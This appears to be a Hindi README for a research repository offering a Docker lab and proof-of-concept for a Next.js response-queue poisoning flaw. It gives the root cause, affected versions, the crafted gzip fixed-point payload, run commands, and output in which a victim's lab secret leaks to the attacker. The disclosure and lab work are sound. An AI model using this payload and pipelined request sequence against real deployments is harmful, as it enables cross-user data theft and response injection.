
CVE-2026-119348 के लिए Docker dual-lab और स्टैंडअलोन डिफरेंशियल PoC, जो स्व-होस्टेड Next.js में एक स्टेल कंप्रेस्ड-फ्रेमिंग रिस्पॉन्स-क्यू पॉइज़निंग दोष है।
GHSA: GHSA-pc58-hwjq-p385
CVSS 4.0: 6.3 (मध्यम) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N
उत्पाद: Vercel Next.js (next), स्व-होस्टेड (next start)
यह रिपॉज़िटरी नवंबर 2026 के Next.js सुरक्षा रिलीज़ में ठीक किए गए क्रॉस-क्लाइंट रिस्पॉन्स इंजेक्शन और डिस्क्लोज़र कमज़ोरी का एक पूर्ण, नियतात्मक पुनरुत्पादन (docker लैब + स्टैंडअलोन एक्सप्लॉइट) प्रदान करती है। जिस समय यह लैब बनाई गई थी, तब कोई सार्वजनिक PoC मौजूद नहीं था (2026-11-20 को जाँचा गया: CVE और GHSA आईडी के लिए GitHub रेपो/कोड खोज → 0 परिणाम)।
Node का fetch (undici) content-encoding: gzip बॉडी को पारदर्शी रूप से डीकम्प्रेस करता है, लेकिन मूल रिस्पॉन्स हेडर को सुरक्षित रखता है, जिसमें content-length: <compressed-size> भी शामिल है। जब कोई स्व-होस्टेड Next.js एप्लिकेशन ऐसे फ़ेच किए गए अपस्ट्रीम Response को अपरिवर्तित लौटाता है — किसी App Router रूट हैंडलर, किसी fetch-cache प्रविष्टि, या Node-runtime मिडलवेयर से — तो Next के कमज़ोर संस्करण लंबी, डीकम्प्रेस्ड बॉडी को स्ट्रीम करते हुए क्लाइंट को स्टेल कम्प्रेस्ड फ्रेमिंग अग्रेषित कर देते हैं:
HTTP/1.1 200 OK
content-encoding: gzip ← forwarded
content-length: 70 ← framing of the COMPRESSED body (stale)
← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
└─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘
Node.js घोषित Content-Length से अधिक body बाइट्स बिना किसी त्रुटि के लिखता है और
keep-alive कनेक्शन खुला रखता है। कोई भी HTTP/1.1 रिवर्स प्रॉक्सी जो साझा बैकएंड कनेक्शन पर
pipelined अनुरोधों को कतारबद्ध करता है (यही पूर्व-शर्त advisory में बताई गई है — जैसे HAProxy
http-reuse always, विभिन्न Node.js-आधारित प्रॉक्सी) बैकएंड प्रतिक्रियाओं को पूर्णतः घोषित
फ्रेमिंग के अनुसार डीमल्टीप्लेक्स करता है। इसलिए अतिरिक्त बाइट्स को कतार में अगली प्रतिक्रिया
के रूप में पार्स किया जाता है:
| शाखा | असुरक्षित | पैच किया गया |
|---|---|---|
| 16.x (Active LTS) | >= 16.0.0, <= 16.4.4 | 16.4.5 |
| 15.x (Maintenance LTS) | <= 15.5.28 | 15.5.29 |
vercel/next.js में टैग v16.4.4 पर:
packages/next/src/server/send-response.ts:24-70 — sendResponse() हैंडलर के Response के
प्रत्येक हेडर को जोड़ता है (केवल x-middleware-set-cookie छोड़ा जाता है) और फिर
डिकोड किए गए body को पाइप करता है। अग्रेषित किए गए content-length / content-encoding /
transfer-encoding उस एन्कोडेड body का वर्णन करते हैं जिसे undici पहले ही डिकोड कर चुका है।packages/next/src/server/next-server.ts:2009-2012 — middleware प्रतिक्रिया लूप केवल
content-encoding छोड़ता है, फिर भी पुराने content-length /
transfer-encoding को कॉपी करता रहता है।packages/next/src/server/web/sandbox/sandbox.ts:23)
पहले ही उन तीन हेडरों को हटा चुका था — यह छिद्र Node-runtime पथों में था।फ़िक्स (v16.4.5, कमिट
2842833,
15.x: 848ec29):
दोनों अग्रेषण पथ अब content-length, content-encoding और transfer-encoding
(FORBIDDEN_HEADERS) को हटा देते हैं, इसलिए Node.js डिकोड किए गए body को
transfer-encoding: chunked के साथ सही ढंग से फ्रेम करता है।
next start) — Vercel प्लेटफ़ॉर्म पर प्रभावित नहीं।Response को अपरिवर्तित लौटाता है (कोई भी
अग्रेषण/रिले पैटर्न: return fetch(url)), सीधे या fetch कैश के माध्यम से।कोई प्रमाणीकरण नहीं, कोई उपयोगकर्ता इंटरैक्शन नहीं।
lab/
├── app/ # the victim Next.js app (source shared by both stacks)
│ └── app/
│ ├── proxy/route.ts # GET /proxy?u=<url> → return fetch(u, {cache:'no-store'})
│ ├── proxy-cached/route.ts # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│ ├── api/secret/route.ts # victim's private JSON (user alice + VICTIM_SECRET…)
│ └── page.tsx # home page (HOME-PAGE-MARKER)
├── upstream/server.py # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml # project cvelab_cve-2026-119348_vuln → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/ # node-level experiments backing the analysis
दुर्भावनापूर्ण अपस्ट्रीम पेलोड (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected"
जहाँ n इस प्रकार चुना गया है कि n == len(gzip(P)) (एक स्थिर बिंदु, यहाँ n = 70, डिकोड किया गया = 116 B)।
इसलिए ऐप एक ऐसा प्रतिक्रिया उत्पन्न करता है जिसका घोषित Content-Length: 70 केवल A
उपसर्ग को कवर करता है, और शेष 46 बाइट्स एक पूर्ण रूप से गढ़ी गई HTTP प्रतिक्रिया हैं।
# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh
# 2. run the exploit against both
python3 poc.py \
--url http://127.0.0.1:8080 \ # proxy → VULNERABLE app (16.4.4)
--fixed-url http://127.0.0.1:8081 \ # proxy → PATCHED app (16.4.5)
--upstream http://127.0.0.1:9099 \ # attacker origin (host-mapped port of lab/upstream)
--next-url http://127.0.0.1:3000 \ # optional: direct app framing probe
--next-fixed-url http://127.0.0.1:3001 \
--out poc_result.json
# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.
# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy
poc.py स्टैंडअलोन है (Python 3, केवल मानक लाइब्रेरी)। प्रत्येक राउंड साझा बैकएंड कनेक्शन पर तीन अनुरोध कतारबद्ध करता है:
#1 attacker GET /proxy?u=…/gzip?delay=0.4 ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim GET /api/secret (Cookie: session=victim-alice-7f3a9c)
#3 attacker GET / ← collects the displaced response
[vuln] mode=proxy injection=True disclosure=True victim_got_own=False attacker_got_home=False
victim response : HTTP/1.1 200 OK | body: injected
attacker follow-up : HTTP/1.1 200 OK | body: { "user": "alice", "session": "session=victim-alice-7f3a9c",
"secret": "VICTIM_SECRET-sk-live-9f8e7d6c5b4a3210", …
[vuln] mode=proxy-cached injection=True disclosure=True … ← same via the fetch cache
[fixed] mode=proxy injection=False disclosure=False victim_got_own=True attacker_got_home=True
[fixed] mode=proxy-cached injection=False disclosure=False …
RESULT: exploit_worked_on_vuln = True | exploit_failed_on_fixed = True